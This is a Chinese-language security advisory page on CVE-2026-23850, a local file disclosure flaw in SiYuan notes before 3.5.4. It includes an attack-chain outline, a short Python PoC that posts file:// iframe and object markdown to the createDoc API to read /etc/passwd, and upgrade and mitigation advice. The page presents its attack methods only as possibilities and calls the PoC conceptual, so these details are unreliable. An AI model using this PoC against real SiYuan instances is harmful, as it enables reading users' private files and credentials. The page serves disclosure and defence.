IPBUF安全漏洞报告
English
CVE-2026-23850 CVSS 7.5 高危

CVE-2026-23850: SiYuan笔记markdown功能导致任意文件读取漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23850
漏洞类型
任意文件读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SiYuan(思源笔记)

相关标签

任意文件读取本地文件包含HTML注入Markdown注入SiYuan思源笔记CVE-2026-23850高危漏洞服务端渲染敏感信息泄露

漏洞概述

CVE-2026-23850是SiYuan(思源笔记)个人知识管理系统中的一个高危安全漏洞。该漏洞存在于markdown功能的HTML渲染模块中,由于对用户输入的markdown内容缺乏充分的过滤和限制,攻击者可以利用该漏洞在服务器端执行任意HTML渲染,从而实现本地文件读取(LFD)。在未修复的版本中,攻击者通过构造特定的markdown payload,可以读取服务器上的敏感文件,包括配置文件、源代码、密钥文件等。思源笔记是一款流行的本地优先的个人知识管理软件,支持Markdown编辑、本地存储、云端同步等功能。由于其本地存储特性和对数据安全的重视,该漏洞可能直接导致用户的私密笔记、密码凭证、API密钥等敏感信息泄露。

技术细节

该漏洞的根本原因在于SiYuan的markdown解析器在处理HTML内容时没有进行充分的沙箱化和安全限制。攻击者可以通过在markdown中嵌入恶意构造的HTML标签或JavaScript代码,利用浏览器的功能或服务端渲染机制读取本地文件系统内容。具体攻击手法可能包括:1) 使用file://协议或data:协议构造恶意链接;2) 利用HTML的iframe、object、embed等标签加载本地文件;3) 通过CSS的content属性读取文件内容;4) 利用JavaScript的XMLHttpRequest或fetch API读取文件并外传数据。漏洞涉及的文件路径包括kernel/model/file.go和kernel/api/filetree.go,这些模块负责处理文件树的构建和markdown内容的渲染。攻击者可以通过API接口(如filetree相关接口)提交恶意payload,触发服务端或客户端的文件读取行为。

攻击链分析

STEP 1
1
攻击者识别目标SiYuan实例,确认版本低于3.5.4
STEP 2
2
攻击者构造包含恶意HTML标签的markdown payload,利用iframe、object等标签尝试加载file://协议资源
STEP 3
3
攻击者通过API接口(如filetree相关接口)提交恶意markdown内容
STEP 4
4
服务器端或客户端渲染markdown时执行恶意HTML代码,尝试读取本地文件系统
STEP 5
5
如果成功,敏感文件内容(如/etc/passwd、配置文件、密钥等)被泄露
STEP 6
6
攻击者获取的敏感信息可用于进一步攻击,如横向移动、权限提升等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-23850 PoC - SiYuan Local File Disclosure # Target: SiYuan < 3.5.4 def exploit_siyuan_lfd(target_url, file_path): """ Exploit for CVE-2026-23850 This PoC demonstrates how an attacker can read arbitrary files through the markdown HTML rendering feature. """ # Malicious markdown payload that triggers file reading # The exact payload depends on the specific attack vector payload = f''' <iframe src="file://{file_path}"></iframe> <object data="file://{file_path}"></object> ''' # API endpoint for creating/updating documents api_endpoint = f"{target_url}/api/filetree/createDoc" headers = { "Content-Type": "application/json", # Add authentication headers if needed } data = { "path": "/temp/cve-2026-23850", "markdown": payload, "title": "CVE-2026-23850 Test" } try: response = requests.post(api_endpoint, json=data, headers=headers) print(f"[*] Request sent to {api_endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") return response except Exception as e: print(f"[!] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target-siyan-instance:8126" # Target file to read (Linux example) file_to_read = "/etc/passwd" exploit_siyuan_lfd(target, file_to_read) # Note: This is a conceptual PoC. Actual exploitation may require # different payloads and endpoints based on the specific version # and configuration of the target SiYuan instance.

影响范围

SiYuan < 3.5.4

防御指南

临时缓解措施
立即升级SiYuan到3.5.4或更高版本。如果无法立即升级,可以采取以下临时措施:1) 限制SiYuan服务的网络访问,仅允许受信任的IP访问;2) 禁用或限制markdown中的HTML渲染功能;3) 监控和审计API请求日志,检测异常的markdown内容提交行为;4) 对重要数据进行加密存储,定期备份并离线保存;5) 考虑使用Web应用防火墙(WAF)过滤恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表